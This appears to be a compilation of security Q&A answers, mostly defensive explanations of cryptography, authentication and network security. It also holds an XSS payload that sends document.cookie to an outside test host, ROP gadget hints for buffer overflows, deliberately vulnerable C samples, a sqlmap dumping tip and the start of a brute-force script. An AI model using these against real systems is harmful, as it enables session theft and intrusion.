How far can we go in preventing videos from spreading out using P2P networks like BitTorrent?

One tool for trying to enforce DRM is watermarking, i.e. embedding within the media itself a mark which is (almost) invisible to the human viewer, but which is resilient to copies (i.e. the copy has it). Once media copies are individually marked with the identity of their rightful owner, you can trace the origin of fraudulent copies. Do not get it wrong: it is not the watermarking which prevents copying, it is the threat of the lawyer commandos you will send to smite the guy who was at the origin of the leakage.

Watermarking is a hard problem, notably because it must rely on embedding information which is not visible, i.e. exactly the kind of thing that compression algorithms remove. Moreover, even with a digital-only media, there can be cropping or stretching or colour rebalancing or resampling or whatever, so watermarking must rely on properties which are not at the "pixel" level. The name is well chosen: watermarking is quite similar to the act of writing... on water.

Since the wannabe pirate has a vested interest in removing the watermark, this implies that the scheme must be "well hidden". There is a generic attack for that, which consists in degrading image quality until the mark has disappeared; by dichotomy, one can find the precise alteration which kills the mark, at which point it becomes easy to remove or modify the mark without visually altering the media. Therefore, the only kind of watermarking which really resists attacker is the one where the attacker has no way of testing whether the mark is there or not. So we are talking about professional investigators roaming the Torrents on your behalf, looking for the mark in shared files; and not about watermarking checks within graphics cards.

Another tool for enforcing DRM is targeted distribution: each copy of the media is encrypted with a key which is specific to a single reading device. There is a nifty tool called broadcast encryption which is what Blu-ray employs. Each single device able to read Blu-ray discs has its own secret encryption key; one can imagine a Blu-ray disc as containing:

the media, encrypted with a per-media key K;
encrypted copies of K by each device key Ki, for all existing devices in the world.

Then a media distributor may opt to not include the encryption of K with K678349 if it turns out that the owner of the device 678349 has "misbehaved". Moreover, all "normal" devices will insist of decrypting media, i.e. will reject unencrypted data. The niftiness of broadcast encryption is that is allows for doing that without having to embed billions of encrypted copies of K in each disc.

There again, the technical tool of broadcast encryption does not prevent copying; it merely allows for retaliation on wide scale illegal copying ventures, and ultimately may result in a "market split": namely, to ensure that, in order to view illegally copied contents, perpetrators must use a non-standard device such as a computer or a physically modified reader. There will be people who do that; but there will also be people who do not.

Remember that anti-piracy tools are economically justified, and economy is statistics: media distributors do not want to kill unauthorized copying per se, they just want to make more money. And they view an unauthorized copy as a loss, since the copier could have bought the genuine thing instead. Any tool which reduces the amount of copying can become a "big win" (a technical term meaning "millions of dollars").

The common point in all these tools is that they do not technically prevent data copying. Because it is not possible: if the user can see it, he can record it and then see it again. The tools are meant to support larger anti-copying process which do not happen in the computer world, but rather in the mundane real world where police forces may bash your door at 6:00 AM.

If we are to believe the major media distribution companies, anti-copying strategies like those explained above are totally inefficient and legislators MUST take immediate actions such as raising new taxes for their exclusive benefits. According to the same major media companies, anti-copying strategies are 100% effective and if you share a single movie on the Internet, they will get you and send you to Guantanamo within 48 hours. Whether in reality DRM works is anyone's guess.


Does the client and server succeed in shaking hands using certificates that are issued by different CA?

Yes
There is nothing in the TLS protocol that forbids this.
For the load balancer that I have experience with, the Citrix NetScaler, you manually configure what CA(s) to accept for the client certificates.
So you might have a cerificate for the server that's bought from a regular public CA and you might configure the accepted client certificate to be from one specific internal CA that you run yourself.
That way you can issue the client certificates yourself and infuse them with data fields that you care about. Such as e.g. client's Windows username or e-mail address or something like a flag "is member of accounting department".
The server has no way of communicating "that's a nice certificate you just showed me, unfortunately it's not from the CA that I was looking for". Instead the server just has to abort the handshake - leaving the client guessing why this didn't work. (I think that's how it works at least.)
(There is a TLS extension for the other direction. It allows the client to tell the server "Okay, I only know these three CAs: x, y and z. You better have a server certificate signed by one of them." It's called "Trusted CA indication" See: https://tools.ietf.org/html/rfc6066#section-6 -- But I think it only works for clients to tell servers about trusted CAs. And not the other way around. Unsure.)


Should I revoke no longer used Let's Encrypt certificates before destroying them?

This is a subjective Cost vs Risk decision. We can't make it for you, but I can help you examine the factors involved.
Cost
To you: the effort of revoking the cert. If you have to do this manually, that's annoying, but if you can script it up in 10 mins and add it to your CloudFormation plays, then why not? As @Hildred points out, this also advertises that your server has been decommissioned, which could be considered a privacy / security issue depending on how much you care.
To LetsEncrypt: They need to handle the revocation request, which is not a particularly heavy request. Each revoked cert adds a line to their CRLs, slightly higher bandwidth costs to transmit the CRLs, and slight performance penalty to their OCSP responders that need to search the CRLs. But it's certainly not a burden since the system is literally designed for this.
Risk
If an attacker finds out that you terminate your VMs without revoking the cert, can they use that to their advantage? A rogue admin (either yours or amazon's) could pull the cert and key from the VM as it is being terminated and you'd be none the wiser. Is that likely or any bigger of a threat than pulling it from a live system? Probably not.

So really, we're dealing with a very small cost vs a very small risk. Your choice. Thanks for asking the question though, neat to think about!


Is it possible to get the encryption key when you have the plaintext?

SHA-256 is a digest algorithm, not an encryption algorithm. There is no encryption key: there is no secret that can help you go back from SHA256(message) to message.

If you only know the SHA-256 value (256 bits, which may be presented as 32 bytes or as 64 hexadecimal digits), the only way to find the original message is by brute force: try all possible messages, compute SHA256(candidate), and if it matches, you have it. Since there's no key involved, if you already know the “plaintext” (the original message), you know everything.

If you meant AES-256, that is indeed an encryption algorithm, which produces a ciphertext given a key and a plaintext, or a plaintext given a key and a ciphertext. More precisely, it is a family of encryption algorithms: AES itself can only encrypt messages of exactly 128 bits, and there are several modes of operation that extend the algorithm to messages of arbitrary length.

With AES, or any serious encryption algorithm, even if you have the encrypted data (the ciphertext) and the original message (the plaintext), you are no closer to finding the encryption key. This is known as a known-plaintext attack, and AES is resistant to known-plaintext attacks as it should be.

Or you might have meant HMAC-SHA-256. An HMAC is a message authentication code, which is different from a digest algorithm. A digest produces a fixed-size string from a message, such that the fixed-size string depends only on the message. A MAC produces a fixed-size string from a message and a secret key. If you know some message (plaintext) M and you also know HMAC-SHA-256(M, K), then here too you are no closer to knowing the key K. Again, resistance to known-plaintext attacks is expected of a MAC algorithm, and HMAC-SHA-256 is (as far as anybody knows publicly) a good MAC algorithm.

The secret key involved in a MAC isn't an encryption key because there's no going back: if you know HMAC-SHA-256(M, K) but not M, knowing K won't help you find M. (No amount of secret knowledge could tell you which of the arbitrary-length messages was meant anyway, knowing only a fixed-size encryption key and a fixed-size MAC value.)


How much is the entropy of a randomly generated password reduced if I regenerate until I get a password I like?

Your rejection/acceptance of a truly randomly generated password, and how many times you reject until you accept, will not affect the entropy as the entropy is determined in isolation from generation to generation (just like each toss of a coin doesn't affect the entropy of the next toss). All strings have the same entropy, it's only the context of evaluation that determines the 'subjective entropy' (which isn't relevant).

But, the strength of a password isn't directly linked to its randomness - as you suggest - if you ask for a random sequence of 11 characters from letters and numbers then you could get password123 as your first random sequence. It would be completely random, just not very strong. It would have the same entropy as the next generation.

Similarly, although the entropy isn't less or more, if you keep generating random strings until you 'like' one you are more likely to select a weaker random string of characters (well, if your 'liking' is based on typical human considerations such as memorableness or lyrical quality or pronounceability etc.)

So entropy and human liking aren't connected, but liking and password strength most certainly are.


How can one restrict Windows shared folders access to specific applications?

You could try to run the applications with application specific user accounts and then restrict access to only them.


Dealing with NULL byte (0x00) in offsets

Not that I am aware of but how about overwriting the return address with a "ret" gadget ? With a debugger try to find if there are null bytes above the return address...

If we consider rsp == 0x1000 when you are about to branch to the return address:

0x1010: 0x???????????????? <-- are these null-bytes ? if yes ...
0x1008: 0x???????????????? <-- are these null-bytes ? if yes overwrite first 2 bytes with "\x6c\xf2" if not overwrite with ret gadget...
0x1000: *return address*   <--- overwrite with a ret gadget


Is there any security advantage to hiding URL parameters?

Is there any security advantage of hiding route parameters

Yes, if they contain anything potentially sensitive.

If you pass information as URL params, either in the query string (?key=value) or as part of the path (/someValue) then these are cached in various places in the browser and host machine.

Most restful services expect you to pass some form of identifier in the URL however you must consider the impact should that identifier be exposed.

For example imagine you have an endpoint that accepts username as a url param (domain.com/users/username) and your username can also be an email address. You essentially expose the users email address for that service to place you do not control (browser history etc).

You need to make the call on how sensitive each data point is and decide if you are happy exposing it (weight up risk).

General rule for me is, if that information can be used to leverage anything over the user or as a stepping stone to expose further info, don't expose it in the URL.


Custom SSL protection Message to Users in Web Applications

This is security theater only used to invoke a warm fuzzy feeling of security in the end user. You correctly realized that a fake site could create such a message too. Personally I dislike these easily fakeable custom messages as much as I dislike similar (and also misused) disclaimers of antivirus products in mails.

In my opinion these messages deviate the user from looking at the real indicators of security. It is better not to train users to look for and trust such easily fakeable "indicators" and instead to publicly teach users how really trustable indicators for security look like. Only, some users already expect such shiny fake indicators and one might loose visitors if one is not playing the same security theater as the others :( Other users might simply not understand how to look for the real indicators.

If you need to play this theater too depends on your specific use case and the knowledge and expectation of your users. If you need it maybe use the chance to also explain to the users what the real indicators look like.


Is viewing applied group policy on a client PC not considered a minor security breach?

In general, in a corporate environment, the rules under which staff should operate should be very transparent, as should the controls which enforce these rules.

Being able to view the group policy is rarely a security breach as it shouldn't be leaking information which is meant to stay hidden. The valuable part of the policy is the enforcement of permissions and access etc.

Security through obscurity is generally a bad thing in corporate environments (as well as many others) as it doesn't actually provide security against attackers or against accidental breaches.


Is there any value in redacting my private IP addresses when posting network questions online?

There is reconnaissance value, but not immediate "plunder" value. A private IP would tell me that there is a high likelihood that you are using a network firewall. We can also make assumptions based off the private network range. Generally, 192.168.0.0/16 addresses are common in home environments. 10.0.0.0/8 or 172.16.0.0/12 are more common for enterprise environments, due to their larger ranges. Unless you require the highest levels of operational security, I would not bother hiding it, especially for personal usage.
I would be more cautious about a MAC address. A MAC address can reveal what NIC you are using. Theoretically, an attacker could then determine if your NIC is vulnerable to something like Ripple20. Alternatively, if an attacker is able to get the records from the manufacturer, they might even be able to trace your MAC to your real world, physical mailing address.


svchost.exe (Service Host) is a normal process used for running services (background programs) on Windows. You can use tools like Process Explorer to determine what executables are being ran by the Service Host process. Without further information as to what is being ran by the Service Host it is impossible to provide you with additional recommendations, and JL117748's "answer" is woefully uninformed in regards to the basics of the Windows operating system. You can download a copy of Process Explorer here.

Edit

I should have been more detailed and addressed how to specifically see which services are being ran by Service Host, since by saying executable gave the impression of only child processes as brought up by dave_thompson_085. If you right click on the svchost.exe process in Process Explorer, and select Properties, then click on the Services tab as can be seen in the screenshot below. Assuming the services arent needed/required by the operating system, they can be disabled by opening the Computer Management MMC (in Administrative Tools, or right clicking the Start Menu/Windows Logo button), selecting Services underneath Services And Applications, then double clicking the relevant service, clicking the stop button and then changing the Startup Type to Disabled.


Well, okay: What is the difference between an x.509 "client certificate" and a normal SSL certificate?

I think it should just be closed and flagged as duplicate though.


Is there a difference between a rainbow table and a dictionary attack?

In a rainbow table attack, the tables contain already pre-computed hashes of commonly used passwords. You compare the hash directly to the hash in rainbow table so it's faster than using a dictionary where you compute a hash of the word and then compare it to the password hash. If a salt is used in the hash, a dictionary attack would be better than computing a rainbow table before cracking.

I must add that what I wrote is for Hash tables and Rainbow tables are more complex than Hash tables, but the general idea is the same.


The basic idea of a terminator canary is that when an attacker attempts a buffer overflow, they're forced to over-write the canary value.  The program can then detect that the canary has changed value and take appropriate actions.

The value 0 is somewhat special in programming: many languages use it as an end-of-text marker.  If an attacker is trying to overflow a text buffer, the use of a 0 as a terminator canary means the attack will fail: in order to keep the canary from changing, they need to include a 0 in the oversized input in a location that will cause almost all of the excess input to be ignored.

This has a problem, though: if the input is handled as binary data rather than as text, the fact that the canary has a known, fixed value means the attacker can simply over-write the canary with itself, producing an undetectable overflow.

Edit: code examples

/* This reads a length-tagged packet of up to 16 bytes length from an input stream.
 *
 * Note that since the programmer forgot to check the length of the input,
 * a packet of more than 20 bytes (give or take alignment) will overflow onto
 * sensitive parts of the stack.  If bytes 17 through 20 of the outsized packet
 * are 0s, this overflow won't be detected.
 */
size_t readPacket(char *stream)
{
    size_t length;
    char packet[16];
    uint32_t canary = 0;

    length = (size_t)(*stream++);
    memcpy(packet, stream, length);
    processPacket(packet, length);

    if(canary != 0)
        exit(0);
    return length;
}

/* This reads a username from an input stream.
 *
 * Note that since the programmer used strcpy() rather than strlcpy(), a
 * string of more than 20 bytes (give or take alignment) will overflow onto
 * sensitive parts of the stack.  However, since strcpy() stops copying once
 * it encounters a byte with the value 0, in order for overflow to reach a
 * sensitive part of the stack, it must change the value of the canary.  If
 * this happens, exit() is called and the changed stack is never used.
 */
size_t readName(char *stream)
{
    char userName[16];
    uint32_t canary = 0;

    strcpy(userName, stream);
    processUserName(userName);

    if(canary != 0)
        exit(0);
    return strlen(userName);
}

In a real-life example, the canaries and canary-checking code may be inserted automatically by the compiler rather than manually by the programmer.


The usability of PGP has been a subject of much study:
Why Johnny Can't Encrypt

  Among the eleven participants who figured out how to encrypt, failure to understand the public key model was widespread.  Seven participants (P1, P2, P7, P8, P9, P10 and P11) used only their own public keys to encrypt email to the team members.  Of those seven, only P8 and P10 eventually succeeded in sending correctly encrypted email to the team members before the end of the 90 minute test session

Email encryption schemes generally require you to install a security certificate containing a private key on your computer and to give your contacts a public key so they can send you an encrypted message.  According to the study, this seems to be too much of a barrier for most people.

I've tried mailvelope briefly. It simplifies things, reducing the difficulty participants had with managing public key technology in the paper I linked to.

SecureGmail (only for use with Gmail and Google Chrome) uses symmetric encryption and requires you to get the password to your correspondent through a (hopefully secure) side channel.

I think the field of doing this through a browser extension is still immature.  For example, I see that until March of this year, mailvelope encrypted your email after you type it, allowing the webmail service (Google) to save the plaintext somewhere.  What other growing pains will it experience?

To answer your basic question, if I was trying to get my parents to encrypt email, I would tell them to compose a message to me in a file, use a desktop encryption tool to encrypt the file and then send the file as an attachment.  This still would require them to exchange keys before hand and I don't know how to make this easier.


Phishing emails and securing set up from compromise?

It is highly unlikely that a malicious actor is sniffing email servers around the world to figure out how to craft phishing emails.

What is more likely, is:

your email accounts have been compromised
these companies have been breached, and the malicious actor is simply reading the emails and address book of the compromised accounts
it's not targetted at all and that the malicious actors know the kinds of emails the companies' customers expect and just copy the style

Without specific details, I can't get more definite than that.

As a customer, there is no defence for the last two. The problem rests on the other company's side. You can help by reporting these phishing emails to the companies so they can follow up on their end.

For the first one, the defence is pure account security practices:

choose strong, long passwords (hopefully randomly generated and managed by a password manager)
enable 2FA on as many accounts as you can

If you are already compromised, then you should immediately change all passwords.


There's an exploit for EternalBlue in Metasploit explained here:

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete.

I'm not an expert and don't understand ruby too well, but from what I understand DWORD is twice as long as WORD, which would let you write to memory by sending a large buffer. The kernel memory is organized (groomed) while the data is being written, so that the payload being transmitted makes sense once the RIP pointer is hijacked and pointed to the overwritten memory, which will then be read and executed.

You can see the source code here.

As far as what was done wrong, there should have been a subtraction from DWORD to DWORD or from WORD to WORD. Having the difference in sizes is what allowed memory to be overwritten.

EDIT: Checkpoint did an amazing write-up explaining all 3 bugs related to this exploit, what I understood from the ruby code I read is only bug 1/3 (bug A in Checkpoint's write-up), if you want to go a lot deeper, check it out.


This session implementation does nothing to address OWASP a9.  In short its vulnerable to a replay attack.  So if a hacker is sniffing the network or has an XSS vulnerability in your site then they can just copy this value and use it.

You should use as little cryptography as possible.  Cryptography is hard,  it adds complexity and when it fails it can be disastrous.

A cookie should be a large cryptographic nonce,  and reference server side state.  You should transmit this cryptographic nonce as a cookie with all of the security flags enabled (httponly, Secure, and scope).

On a side note,  Amazon AWS's RESTful authentication is not bad.


TeamViewer has three built-in functionalities to let user access to remote computer. They are Remote Control, File Transfer and VPN (if driver is available). None of these functions have hidden mode and again none of them lets remote user view or manage your computer without you noticing it. I see three possible attacks here:

If required drivers are all installed (remote user can install that too) he can disable your screen and lock your keyboard to do dirty things without you seeing it but not without noticing it. All you have to do is plug out your network cable or power cord, that will stop him.
Remote user can connect your computer with File Transfer function. However when the connection is established, you will see a pop-up window that lets you see what remote user viewing, copying or deleting. If you are not careful he can install malware or change your teamviewer files with evil ones.
If TeamViewer VPN driver is installed and active, remote user can get in to your home network via using your computer as a bridge. If your network devices have default or weak passwords, attacker can change your DNS addresses (or worse, forward all traffic to its own network) to get and alter your DNS requests. He can use this technique to redirect you a phishing website and steal your information.

All of these techniques are useless if you are careful enough. First and second technique cannot be accomplished without you noticing it. If you haven't installed VPN driver for TeamViewer (that can disabled from your network and sharing center) there is nothing to worry about with the third one too.

If you are careful enough, no one can hack you with TeamViewer.


What is attribute-based authentication?

Attribute based authentication is a way of "minimal disclosure" authentication in that (at least in theory) it's only checked whether you have some attribute, rather than "who you are". This means that if a website requires you to have a certain age authentication will only leak your age, but not your identity.

This goes further in advanced systems which allow for predicates to be tested (i.e. 'age > 18') which means that even less information is leaked because now the website knows you're older than 18 but it's not leaked how old exactly.

In trivial systems you could just have somebody sign your attributes and then the website verifies the signature of your attributes. However, the problem with that is that if you try to authenticate twice you can be fingerprinted because if you just send your age signed then if you do it again you'll send the exact same content (signature is still the same) so the website knows it's the same person. Advanced systems don't do that as they create a new temporary pseudonym for each authentication which makes it impossible to fingerprint the person who tries to authenticate.

If you want to find out more you should read about 'privacy-preserving attribute-based credentials' and look into cryptoengines like UProve (Microsoft) and Idemix (IBM).

What are its advantages?

Ideally:

Minimum disclosure
Not linkable (you can authenticate twice without anybody knowing it's you again)
Decentralized (you're in possession of your attributes)

However, not all attribute-based authentication schemes necessarily fulfill this. You could for example have an authentication provider and the website you try to authenticate to contacts that provider and asks whether you are older than 18. This however leaks information to the authentication provider about what websites you visit so in practice a scheme that is not decentralized isn't exactly good for your privacy.

How can it enhance privacy protection while online?

Same deal. In privacy-preserving attribute based credentials/authentication you are 100% anonymous (excluding of course that you leak your IP and things like that) and not linkable and only leak the minimum amount of information required and it can be done offline.

The funny thing is that once they started developing this they faced the problem that users are now 100% anonymous and in some contexts you're required to be able to tell the government who used your service so effort had to be spent to develop backdoors that leak information about you.

There are also issues with revocation. Some systems thus require also proof that your credentials have not be revoked yet. But anyway... in THEORY privacy-preserving attribute based credentials/authentication are really good for privacy but they have drawbacks (revocation / DE-anonymization for legal purposes) and more user interaction. A website for example might just ask for "everything" and if the user doesn't intervene they will leak everything so software has to display to the user what is being leaked and the user has to confirm it which means these systems require much more from the user which is a huge problem for your average user.

Also... you need additional architecture... such as an issuer a revocation authority an inspection authority you need a crypto engine you need storage for the credentials which are all things that don't really make it practical for web-based authentication YET unless you're willing to install a browser plugin... you need to synchronize your credentials somehow (for example to be able to login in from your tablet, phone and PC) which means you also need software to synchronized your credentials etc... In theory the technology is great... in practice it's just not there YET and maybe it will have the same fate as PGP: it'll be considered to cumbersome/difficult for your average user to manage. A centralized system will surely be accepted but you lose out on privacy.


The OpenDNS updater is what keeps track of your IP address for OpenDNS.  It uses this IP address to track incoming DNS requests to their service.  If the updater is on your PC and you take it to work, OpenDNS will no longer be updating your HOME router IP.  It will be updating your work IP.  If you have other computers being used at your home you need to install the updater on those PC's as well so that OpenDNS knows what YOUR router IP is.

The two DNS IP addresses are not NEEDED but recommended.  The purpose is to have a back up in case one goes down.

The use of a static IP address would be easier and more reliable than the dynamic because it will no longer rely on the updater and since the IP never changes, anyone that uses your home internet will always be subjected to the restrictions imposed by the OpenDNS rules.


What famous attacks used a use-after-free vulnerability?

How we broke PHP, hacked Pornhub and earned $20,000

  We have found two use-after-free vulnerabilities in PHP’s garbage collection algorithm.
  Those vulnerabilities were remotely exploitable over PHP’s unserialize function.


What are the implementation details and rationale of ASP.NET MVC3's AntiForgeryToken?

All CSRF is prevented by the use of cryptographic nonce which cannot be obtained by the attacker due to Same-Origin Policy.  This is not a problem that Symmetric Cryptography can solve.

Check out the CSRF Prevention Cheat Sheet.


You might consider the random.org password generator which uses randomness based on atmospheric noise. Another option is Hotbits which gets its random data from radioactive decays.

For sharing passwords, you might want to use a self-destructing message site such as cloakmy.org or privnote.com that let you create secure password-encrypted messages that self destruct after viewing once or after a set time period.

Yet another option is to use something like LastPass that both generates secure passwords and provides a way to share that password with others.


Bcrypt is a hash function, not an encryption function.
It cannot be decrypted, in the sense that you send the hash result into a function and get the decrypted version. You can only bruteforce it: send lots and lots of inputs into it, until you get the desired output, or you give up.
According to Wikipedia, this is a Bcrypt string:
$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
\__/\/ \____________________/\_____________________________/
 Alg Cost      Salt                        Hash

The 12 is not the number of rounds, but the Cost Factor, measured as 2x. In case of 12, there are 4096 rounds (212). The $2y indicates that those hashes are created by a bugged Blowfish version.
The only thing you can do it throw the salt and plain text at Blowfish, using the supplied cost factor, and compare the stored hash with the calculated one.


The switch you're looking for here is -C which specified the columns to be dumped from a target table (which you specify with -T).  More info is here


Exploiting XSS in filename without using /

You can execute any JavaScript without using / by using a combination of eval and fromCharCode:
let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;");


How to apply a pepper correctly to bcrypt?

Your three methods are correct. The third (with HMAC) might be a tad more "elegant", mathematically speaking: it would make it easier to prove the security of the construction, relatively to those of bcrypt and HMAC.

Beware, though, of null bytes. A given bcrypt implementation might expect a character string and stop at the first byte of value 0, which may occur in the output of either SHA-256 or HMAC (or as part of the binary key you use as pepper), ignoring all subsequent bytes. It would be a grave problem, and you would not notice it. To avoid that problem, you might want to Base64-encode the SHA-256 or HMAC output before giving it to bcrypt (Base64-encoded SHA-256 output is 44 characters, still below the bcrypt limit).


Allowing users to input raw SQL in update statement safely

Restricted user accounts

Sanitizing such a query securely may be very, very hard and you should expect that you might have failed in some way which allows the users to execute arbitrary sql.

A possible mitigation for this would be severely restricted user accounts - you need to ensure that the connection under which these queries are executed is run under a user account which can access only the specific tables which you expect to be used, and can modify only the specific table which is expected to be updated.  It may be that this needs to be a different database user account (and a different connection) than what the rest of the system runs on.


The range 49152–65535 (215+214 to 216−1) contains dynamic or private ports that cannot be registered with IANA.[310] This range is used for private, or customized services or temporary purposes and for automatic allocation of ephemeral ports.

Likewise, UDP 56183 does not appear on the official IANA port listing source document:
http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt

As Steffen Ullrich correctly points out it's most likely a DNS reply, especially given the source port, but there is a small likelihood that you are catching someone doing part of a slow but full UDP port scan of your systems. There are a few research projects like scans.io that routinely scan the entire Internet and it's not unlikely that some organization may want to collect full UDP data. That said, those scans would not be likely to use UDP/53 unless they were potentially probing firewall rules.

Do you by chance have a packet capture with more information or a source address? Sometimes that can tell you a lot more. For example, did this come from a DNS server or an IP owned by a something like a large scanning project. My guess is that Steffen Ullrich is correct and it's simply a DNS reply packet.


The theory is that you would like to run the same tools as the attacker. The attacker will run a list of "probable passwords" based on what he knows or guesses of the psychology of the users. John the Ripper is a well-known password cracking software which includes lots of "usual passwords" and rules commonly employed by users to derive witty passwords.

Your advantage is that the server code has access to the password itself when the user registered. Contrary to the attacker who must run each guess through a potentially expensive hashing process (and it can be heavy if you crank the bcrypt iteration count to its full power), your code can work on the actual stuff and do some optimizations such as, as you suggest, normalization to lowercase.

However I think this is not a very good idea on a general basis. The attacker is not restricted to openly available software; he can adjust his list of potential passwords to the actual target (e.g. using more derivations around the names of the children of the specific user whose password is under the fire of the attacker). Even keeping up with the list of "common weak passwords" is likely to be a tiresome process. Moreover, the user himself will enter the game: since password restrictions are felt as an irksome hindrance by users, they will use all their creativity to find even wittier password generation rules which evade your tests.

Enforcing complex password exclusion rules on the server is somehow fighting the attacker on his battleground, and will bring the user to the feast; the user may unfortunately (and unintentionally) help the attacker.

Therefore, I would recommend against such rules. What you need is the collaboration of the user, and you will have it by being transparent about the rules you employ; the user must be able to find a password which "passes your test" without entering a trial-and-error process. Nothing is more annoying than choosing ten successive passwords until one is finally accepted by a rigid server. You do not want to annoy the user, because an annoyed user will help attackers (he will not think about it like this, but that's the net effect). Explicit rules ("at least 8 characters, at least 1 digit") are much better for pedagogy.

And, of course, nothing beats proper education and training of users about the dangers of non-random passwords.


How to accept only user identity keys of type ed25519 on OpenSSH Linux server?

According to https://unix.stackexchange.com/questions/549610/limit-sshd-to-use-only-ssh-ed25519-keys-to-authenticate

Question:

  I am trying to configure my sshd on ubuntu 18.04 to accept only ed25519 keys to authenticate, at the moment the server accepts ssh-rsa and ssh-ed25519. Any idea to achieve that? thanks!

Answer:

  PubkeyAcceptedKeyTypes ssh-ed25519-cert-v01@openssh.com,ssh-ed25519 worked for me.

This worked for me too. I edited /etc/ssh/sshd_config and added this setting:

PubkeyAcceptedKeyTypes ssh-ed25519-cert-v01@openssh.com,ssh-ed25519


You are right, this is a common problem for code handling sensitive data. In the .Net managed environment, even if you zeroed out your string, you would still run into problems, due to movement of the string as a result of garbage collection. The garbage collector wants to defragment the heap and therefore can move your string around. Moving of course doesn't zero the data, its rather copying. Therefore you should tell the GC to "pin" the particular string to prevent its movement. See above link on how to do that.

And no, the data doesn't get zeroed, it is possible that when your program exits (or before when it frees memory), this memory becomes available to possibly hostile other processes.

SecureString may store the data in a safe way, but you still need to interface it with the outside world. This question covers that topic.


Snort "Protocol mismatch" from SSH preprocessor

The "protocol mismatch" error message happens when something connects to the SSH port on a client version it doesn't support, it can also be generated when something tries to hit SSH port that isn't an SSH client, e.g. a web browser.  But that's not the issue you're describing.

I've seen this particular error message come up before, and a quick google search reveals (http://seclists.org/snort/2009/q4/534) that there was a bug in old snort versions causing false positives on the protocol mismatch.

Further to the link above, and also from my own experience -- the "protocol mismatch" snort alert isn't the most informative of a potential intrusion and there aren't many exploits associated with triggering it.  So, like many pre-canned snort alerts, this particular one in your environment can be disregarded as "noise" and safely remove it in threshold.conf.  This way, other alerts related to the ssh preprocessor will still be generated but that particular one will not generate noise.


The PIN does not depend on the card number or to the type of card but is an independent property. In fact, many providers let you choose your own PIN and also let you change an existing PIN.


There is a great book about this and lots of similar problems from Peter Wayner, called Translucent Databases

About this question:

you can find customer by email if you store hashes of emails and compare them to the hash of the search query (exact matches only, sorry)
then, a salesperson could send an email via some kind of web app or a SMTP gateway which redirects hash@yourcompany.com to customer@domain.com, performs rate limiting AND logs who performed the request

This will do a good job against accidental errors, but for more detailed scheme you should more carefully model your "attackers" and business processes, and then apply practices from the aforementioned book (or similar ones)


Temporarily save failed logins password hashes for using against brute force attack

The answer will completely depend on how you define your threat model and what your risk appetite allows.

Since you already went so far as to identify the potential attacks in a fair amount of detail I'd assume that you believe these are credible and possible threats that you face. If it is not the case then there should be no reason to try and protect against a them.

Pros

As you correctly point out, temporarily storing the hashes of failed
password attempts could potentially give you the necessary data to
more effectively detect an attack as described in scenario 3. If this
process can then require a captcha prompt or some second factor of
authentication you will most certainly hinder the attempts of the
attacker enough to make the attack impractical.
You could potentially learn a lot about the nature of these attacks from the data gathered, like the type of passwords the the attackers attempt and how they cycle through them (simple brute force vs. dictionary attacks). This however is more an academic gain than it is directly related to the security of your system, although you could identify long term trends that could result in better identification techniques in future.

Cons

The main consideration you will have to make here is if the tradeoff of increased security vs. extra resources and processing required is worth your while. This is due to the fact that comparisons you intend to make can be very computationally expensive and could require a significant amount of extra resources (depending of the size of the system and the amount of log in attempts you expect to receive).
I suspect the comparison you intend to make in order to identify these attacks outlined in scenario 3 in not as straight forward and simple as it seems at first. Firstly, as stated before, you might need some more resources in order to store and compare the hashes of passwords. In your description of scenario 3 you assume that the request coming from various IP's will all attempt the same password across as may accounts as possible at a time. This will mean that you won't be able to process each log in request in its own right but rather that you will have to evaluate the the log in attempts as a batch to be able to see that there are multiple log in attempts on various accounts using the same exact password. Remember that a legitimate user might be attempting to log in coinciding with the attack and that the whole batch of log in attempts will have to be queried if fowl play is suspected. This could lead to a degraded experience form the user perspective if it happens often. It will also be difficult in determining how long a specific hash will need to be stored after it was flagged as an artifact of a specific suspected attack. You cannot keep the hash in there indefinitely since it could be the hash of a legitimate user's password that will then continually be queried and this could lead to you in essence "DDoS'ing" your own system. If you do decide to implement a system like this only trail and error over time will be able to indicate how it should be configured in order to work effectively without being too much of a burden.

If your aim is to protect your users and their data on your system rather than specifically identifying these attacks, I'd suggest you look at rather implementing (possibly even requiring) a multi-factor authentication mechanism. Educating your users as to the threats you face and the benefits of using multi-factor authentication to protect them could be a much better approach to securing the system with much less friction and effort from your side.


How do I figure out which wifi AP is the real Guest Network?

If someone's using a WiFi Pineapple, they may be using the "Generate a Random MAC" option on the WiFi adapter.  You might be able to figure this out if the OUI in the MAC is nonsense, or if it's consistent with the coffee shop's access point.

Install Wireshark and grab the MAC addresses of both of the APs.  Look up the OUI of both of the MACs (Wireshark offers this service here.  If one of the OUI's is Netgear, Belkin, Cisco, D-Link, T-Link, or other common home router (and this is a small independent coffee shop), and the other comes up with "No Matches", you've probably identified the honest one.  This is a guess, of course, but probably better than blindly trusting to chance.

If it's a large chain, the access point may have been installed by the corporate networking department, which means they may be running on "enterprise" equipment.  Instead of Belkin or TLink, look for an OUI belonging to Cisco, Huawei, Netgear, or other major network appliance manufacturer.

Also, if it's a large chain, consider contacting the corporate HQ and reporting what you've found.  They may make simplistic improvements such as putting up a window sticker that says "Our official wifi hotspot is named 'CoffeebucksGuestWifi'".  They may also have detection software in their access point that can help identify find rogue devices, and with surveillance video evidence they may go so far as to prosecute someone who may be stealing credentials from their customers.  It does a company no good to be associated with identity thieves; so there's at least a chance they will take this seriously.

Another option is that the second access point is legitimate.  Perhaps the coffee shop added a second access point to improve coverage in the back room of the shop.  Perhaps the second access point belongs to a neighboring business. I know the front counter staff won't be able to answer questions, but perhaps the coffee shop owner can?


How to brute-force a somewhat remembered aescrypt password?

I'm going to post what I've learned here for posterity.  I've found the way to do what I want, although I doubt I have the system power to complete the task.

The first thing I tried was all possible combinations of what my guesses would be.  First I wrote a Ruby script to generate that.

#!/usr/bin/env ruby

JOINERS = ['', '-', '_', ' ']
PREFIX = %w[words for prefix]
CONJUNCTION = ['and', nil]
OPTIONAL = %w[words for optional]
SUFFIX = %w[.tar.gz .tgz .tar.gz.aes .tgz.aes]

def permute collection, length = nil
